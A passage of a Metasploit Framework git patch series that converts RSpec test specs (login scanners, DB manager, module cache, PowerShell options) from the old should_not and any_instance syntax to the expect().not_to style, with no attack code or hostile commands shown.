@@ -281,7 +281,7 @@ RSpec.describe Msfupdate do subject.run! end it "does not call update_git!" do - subject.should_not_receive(:update_git!) + expect(subject).not_to receive(:update_git!) subject.run! end end @@ -327,11 +327,11 @@ RSpec.describe Msfupdate do context "#run!" do it "does not call update_apt!" do - subject.should_not_receive(:update_apt!) + expect(subject).not_to receive(:update_apt!) subject.run! end it "does not call update_binary_install!" do - subject.should_not_receive(:update_binary_install!) + expect(subject).not_to receive(:update_binary_install!) subject.run! end it "calls update_git!" do diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb index 66340ed62b..b3a4ee69e0 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -268,7 +268,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | expect(my_scanner).to receive(:valid!) expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return success - my_scanner.should_not_receive(:attempt_login) + expect(my_scanner).not_to receive(:attempt_login) my_scanner.scan! end @@ -295,7 +295,7 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | expect(my_scanner).to receive(:valid!) expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return success - my_scanner.should_not_receive(:attempt_login).with(pub_pri) + expect(my_scanner).not_to receive(:attempt_login).with(pub_pri) my_scanner.scan! end end diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 63160fc73d..4042cfd67c 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -91,7 +91,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -120,15 +120,15 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) + expect(db_manager).not_to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_run_for_vuln" do - db_manager.should_not_receive(:create_run_for_vuln) + expect(db_manager).not_to receive(:create_run_for_vuln) end end @@ -172,11 +172,11 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -203,15 +203,15 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) + expect(db_manager).not_to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_run_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -311,7 +311,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -340,15 +340,15 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) + expect(db_manager).not_to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -392,11 +392,11 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end @@ -423,15 +423,15 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should not call create_match_result_for_vuln" do - db_manager.should_not_receive(:create_match_result_for_vuln) + expect(db_manager).not_to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do - db_manager.should_not_receive(:create_match_result) + expect(db_manager).not_to receive(:create_match_result) end it "should not call create_match_for_vuln" do - db_manager.should_not_receive(:create_match_for_vuln) + expect(db_manager).not_to receive(:create_match_for_vuln) end end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index d7370192d8..bdb8e7e361 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -327,7 +327,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should not call Msf::DBManager#workspace' do - db_manager.should_not_receive(:workspace) + expect(db_manager).not_to receive(:workspace) import_msf_web_element end diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 7bb28dd886..8ca374f63f 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -607,7 +607,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with modules_caching' do it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end @@ -692,7 +692,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'with existing Mdm::Module::Detail#file' do context 'with same Mdm::Module::Detail#mtime and File.mtime' do it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end @@ -723,7 +723,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end @@ -736,7 +736,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'without migrated' do it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 1f607da6d9..c65e9d2599 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -146,7 +146,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) + expect(db_manager).not_to receive(:find_workspace) expect { report_session }.to change(Mdm::Vuln, :count).by(1) end @@ -489,7 +489,7 @@ shared_examples_for 'Msf::DBManager::Session' do end it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) + expect(db_manager).not_to receive(:find_workspace) expect { report_session }.to change(Mdm::Vuln, :count).by(1) end @@ -997,7 +997,7 @@ shared_examples_for 'Msf::DBManager::Session' do it { should be_nil } it 'should not create a connection' do - ActiveRecord::Base.connection_pool.should_not_receive(:with_connection) + expect(ActiveRecord::Base.connection_pool).not_to receive(:with_connection) report_session end diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index b8fa61c706..674636998b 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -54,7 +54,7 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do context 'without cached module in Msf::ModuleSet' do it 'should not call update_module_details' do - db_manager.should_not_receive(:update_module_details) + expect(db_manager).not_to receive(:update_module_details) update_all_module_details end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 1b7a3f50c6..ab4a3f83fd 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -271,19 +271,19 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should not call Msf::DBManager#update_module_details' do - framework.db.should_not_receive(:update_module_details) + expect(framework.db).not_to receive(:update_module_details) refresh_cache_from_module_files end it 'should not call Msf::DBManager#update_all_module_details' do - framework.db.should_not_receive(:update_all_module_details) + expect(framework.db).not_to receive(:update_all_module_details) refresh_cache_from_module_files end it 'should not call #refresh_cache_from_database' do - module_manager.should_not_receive(:refresh_cache_from_database) + expect(module_manager).not_to receive(:refresh_cache_from_database) refresh_cache_from_module_files end From cd57ed289fd91115d8794d7c5e120d69c1624be3 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:08:22 -0500 Subject: [PATCH 021/103] Fix mistaken substitution MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index d63212bd98..0bf3450f34 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -79,7 +79,8 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should yield #connection' do - connection = double('Connection', connection: connection) + connection = double('Connection') + allow(connection_pool).to receive(:connection).and_return(connection) expect { |block| connection_pool.with_connection(&block) From d7d484a862ff759a1504121d7f6ef2e6db309f3e Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:10:04 -0500 Subject: [PATCH 022/103] Use double to properly expect unimplemented methods MSP-13484 --- spec/lib/metasploit/framework/login_scanner/postgres_spec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb index 0724493781..9d66a19804 100644 --- a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -30,9 +30,10 @@ RSpec.describe Metasploit::Framework::LoginScanner::Postgres do context '#attempt_login' do context 'when the login is successful' do it 'returns a result object with a status of success' do - fake_conn = "fake_connection" - expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_return fake_conn + fake_conn = double('fake_connection') + expect(fake_conn).to receive(:close) + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_return fake_conn expect(login_scanner.attempt_login(full_cred).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end From d1f64363b1bcf9664882a66bd6277691e90c7031 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:13:50 -0500 Subject: [PATCH 023/103] .any_instance -> *_any_isntance_of() MSP-13484 --- spec/lib/metasploit/framework/login_scanner/vnc_spec.rb | 6 +++--- spec/lib/msf/core/encoded_payload_spec.rb | 5 +++-- spec/support/shared/examples/msf/module_manager/cache.rb | 2 +- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb index ca224b9d62..cfcb5ab234 100644 --- a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -24,14 +24,14 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do end it 'returns a connection_error result when the handshake fails' do - expect(Rex::Proto::RFB::Client.any_instance).to receive(:handshake).and_return false + expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return false result = login_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a failed result when authentication fails' do - expect(Rex::Proto::RFB::Client.any_instance).to receive(:handshake).and_return true - expect(Rex::Proto::RFB::Client.any_instance).to receive(:authenticate).with(private).and_return false + expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return true + expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate).with(private).and_return false result = login_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT end diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb index 18f126fda0..827dfd833d 100644 --- a/spec/lib/msf/core/encoded_payload_spec.rb +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -62,9 +62,10 @@ RSpec.describe Msf::EncodedPayload do end context 'when passed a valid payload instance' do - # don't ever actually generate payload bytes - before { described_class.any_instance.stub(:generate) } + before(:each) do + allow_any_instance_of(described_class).to receive(:generate) + end it 'returns an Msf::EncodedPayload instance' do expect(encoded_payload).to be_a(described_class) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index ab4a3f83fd..77a76df998 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -174,7 +174,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should force load using #load_module on the loader' do - expect(Msf::Modules::Loader::Directory.any_instance).to receive( + expect_any_instance_of(Msf::Modules::Loader::Directory).to receive( :load_module ).with( parent_path, From 337be4355d8359ba20305106c84dfcbeee7fb0be Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 15:52:30 -0500 Subject: [PATCH 024/103] Fix Msf::DBManager spec upgrade problems MSP-13484 --- .../support/shared/contexts/msf/db_manager.rb | 2 +- .../msf/db_manager/exploit_attempt.rb | 4 +- .../import/metasploit_framework/xml.rb | 4 +- .../examples/msf/db_manager/module_cache.rb | 40 +++++++++---------- ..._name_or_mdm_module_target_name_keyword.rb | 4 +- .../mdm_module_ref_name_keyword.rb | 2 +- .../shared/examples/msf/db_manager/session.rb | 15 +++---- 7 files changed, 36 insertions(+), 35 deletions(-) diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index 610f382412..4991038b2d 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -12,6 +12,6 @@ RSpec.shared_context 'Msf::DBManager' do before(:each) do # already connected due to use_transactional_fixtures, but need some of the side-effects of #connect framework.db.workspace = framework.db.default_workspace - expect(db_manager).to receive(:active).and_return(active) + allow(db_manager).to receive(:active).and_return(active) end end diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 4042cfd67c..bf979b2e7b 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -127,8 +127,8 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do expect(db_manager).not_to receive(:create_match_result) end - it "should not call create_run_for_vuln" do - expect(db_manager).not_to receive(:create_run_for_vuln) + it "should not call create_match_for_vuln" do + expect(db_manager).not_to receive(:create_match_for_vuln) end end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index bdb8e7e361..4355db7350 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -245,7 +245,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should return an empty Hash' do - expect(info).to eq {} + expect(info).to eq({}) end end end @@ -390,7 +390,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end before(:each) do - expect(db_manager).to receive(:import_msf_text_element).and_return(returned_hash) + allow(db_manager).to receive(:import_msf_text_element).and_return(returned_hash) end it 'should pass returned Hash as part of Hash passed to report_web_<:type' do diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 8ca374f63f..f508abc1ac 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -27,7 +27,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:migrated).and_return(migrated) + allow(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -40,7 +40,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:modules_caching).and_return(modules_caching) + allow(db_manager).to receive(:modules_caching).and_return(modules_caching) end context 'with modules_caching' do @@ -97,7 +97,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:migrated).and_return(migrated) + allow(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -169,7 +169,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it "should match Mdm::Module::Detail#stance 'passive'" do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -185,7 +185,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it "should match Mdm::Module::Detail#stance 'aggressive'" do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -216,7 +216,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#email' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -235,7 +235,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -271,7 +271,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#fullname' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -288,7 +288,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -325,7 +325,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Ref#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -367,7 +367,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#mtype' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -395,7 +395,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Action#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -417,7 +417,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Arch#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -439,7 +439,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Author#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -521,7 +521,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Platform#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -543,7 +543,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Ref#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -565,7 +565,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Target#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -589,7 +589,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:migrated).and_return(migrated) + allow(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do @@ -602,7 +602,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:modules_caching).and_return(modules_caching) + allow(db_manager).to receive(:modules_caching).and_return(modules_caching) end context 'with modules_caching' do @@ -805,7 +805,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end before(:each) do - expect(db_manager).to receive(:migrated).and_return(migrated) + allow(db_manager).to receive(:migrated).and_return(migrated) end context 'with migrated' do diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index 588ae2525c..50e31d729e 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -19,7 +19,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or end it 'should find matching Mdm::Module::Platform#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| @@ -38,7 +38,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or end it 'should find matching Mdm::Module::Target#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 1ac9e8b9f4..0fa8c98e20 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -25,7 +25,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword end it 'should match Mdm::Module::Ref#name' do - expect(module_details.count).to > 0 + expect(module_details.count).to be > 0 expect( module_details.all? { |module_detail| diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index c65e9d2599..acf862bf52 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -84,6 +84,7 @@ shared_examples_for 'Msf::DBManager::Session' do Class.new do include Msf::Session + attr_accessor :arch attr_accessor :exploit attr_accessor :datastore attr_accessor :platform @@ -123,7 +124,7 @@ shared_examples_for 'Msf::DBManager::Session' do context 'with a run_id in user_data' do before(:each) do - MetasploitDataModels::AutomaticExploitation::MatchSet.any_instance.stub(:create_match_for_vuln).and_return(nil) + allow(db_manager).to receive(:create_match_for_vuln).and_return(nil) end let(:match_set) do @@ -192,7 +193,7 @@ shared_examples_for 'Msf::DBManager::Session' do end before(:each) do - expect(session).to receive(:arch).and_return(arch) + allow(session).to receive(:arch).and_return(arch) end it 'should pass :arch to #find_or_create_host' do @@ -437,7 +438,7 @@ shared_examples_for 'Msf::DBManager::Session' do context "with session.exploit_datastore['ParentModule']" do it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil + expect(session.exploit_datastore['ParentModule']).not_to be_nil end it { expect(subject.via_exploit).to eq(parent_module_fullname) } @@ -516,9 +517,9 @@ shared_examples_for 'Msf::DBManager::Session' do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do normalized_host = double('Normalized Host') - expect(db_manager).to receive(:normalize_host).with(session).and_return(normalized_host) + allow(db_manager).to receive(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - expect(db_manager).to receive(:report_vuln) + allow(db_manager).to receive(:report_vuln) expect(db_manager).to receive(:find_or_create_host).with( hash_including( @@ -535,7 +536,7 @@ shared_examples_for 'Msf::DBManager::Session' do end before(:each) do - expect(session).to receive(:arch).and_return(arch) + allow(session).to receive(:arch).and_return(arch) end it 'should pass :arch to #find_or_create_host' do @@ -780,7 +781,7 @@ shared_examples_for 'Msf::DBManager::Session' do context "with session.exploit_datastore['ParentModule']" do it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil + expect(session.exploit_datastore['ParentModule']).not_to be_nil end it { expect(subject.via_exploit).to eq(parent_module_fullname) } From 64a870aac09a18a73dd07e6026144d54a5a700bb Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 08:02:09 -0500 Subject: [PATCH 025/103] Fix not implemented error by using double MSP-13484 --- spec/lib/msf/core/data_store_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index 587d057c28..9784c76ca3 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -71,9 +71,9 @@ RSpec.describe Msf::DataStore do "foo" => "bar", "fizz" => "buzz" } + ini_class = double from_file: ini_instance - ini = stub_const("Rex::Parser::Ini", Class.new) - allow(ini).to receive(:from_file).and_return(ini_instance) + stub_const("Rex::Parser::Ini", ini_class) s = described_class.new s.from_file("path") From 05585acb890e3ac3657058c00c88669e9aad9058 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 08:14:48 -0500 Subject: [PATCH 026/103] .should_not -> expect().not_to MSP-13484 --- spec/lib/msf/core/exploit/powershell_spec.rb | 12 ++++++------ spec/lib/msf/core/modules/loader/base_spec.rb | 6 +++--- spec/lib/msf/core/modules/namespace_spec.rb | 4 ++-- spec/lib/rex/exploitation/ropdb_spec.rb | 2 +- spec/lib/rex/parser/group_policy_preferences_spec.rb | 12 ++++++------ spec/lib/rex/parser/nmap_xml_spec.rb | 2 +- spec/lib/rex/parser/unattend_spec.rb | 2 +- spec/lib/rex/powershell/command_spec.rb | 12 ++++++------ spec/lib/rex/proto/http/client_spec.rb | 8 ++++---- spec/lib/rex/proto/http/response_spec.rb | 4 ++-- spec/lib/rex/random_identifier_generator_spec.rb | 2 +- spec/lib/rex/socket/range_walker_spec.rb | 6 +++--- spec/lib/rex/sslscan/scanner_spec.rb | 2 +- ...extract_module_detail_info_module_detail_child.rb | 2 +- .../examples/msf/module_manager/module_paths.rb | 2 +- spec/support/shared/examples/xor_encoder.rb | 8 ++++---- 16 files changed, 43 insertions(+), 43 deletions(-) diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index 331494b7a6..3e19e93fa7 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -466,14 +466,14 @@ RSpec.describe Msf::Exploit::Powershell do opt_length = opts.length - 1 - short_args.should_not be_nil - long_args.should_not be_nil + expect(short_args).not_to be_nil + expect(long_args).not_to be_nil expect(short_args.count('-')).to eql opt_length expect(long_args.count('-')).to eql opt_length - short_args[0].should_not eql " " - long_args[0].should_not eql " " - short_args[-1].should_not eql " " - long_args[-1].should_not eql " " + expect(short_args[0]).not_to eql " " + expect(long_args[0]).not_to eql " " + expect(short_args[-1]).not_to eql " " + expect(long_args[-1]).not_to eql " " if opts[:command] expect(long_args[-10..-1]).to eql "-Command Z" diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index b3ac70d79f..fb87c9de66 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -149,7 +149,7 @@ RSpec.describe Msf::Modules::Loader::Base do # successful. end - error.should_not be_nil + expect(error).not_to be_nil expect(error.backtrace[0]).to include(module_path) end end @@ -1056,7 +1056,7 @@ RSpec.describe Msf::Modules::Loader::Base do current_constant = Msf::Modules.const_get(relative_name) - current_constant.should_not be_nil + expect(current_constant).not_to be_nil expect(current_constant).not_to eq @existent_namespace_module end @@ -1344,7 +1344,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without metasploit_class responding to is_usable' do it 'should return true' do metasploit_class = double('Metasploit Class') - metasploit_class.should_not respond_to(:is_usable) + expect(metasploit_class).not_to respond_to(:is_usable) expect(subject.send(:usable?, metasploit_class)).to be_truthy end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index c34eaa0ed9..bf4c79e160 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ 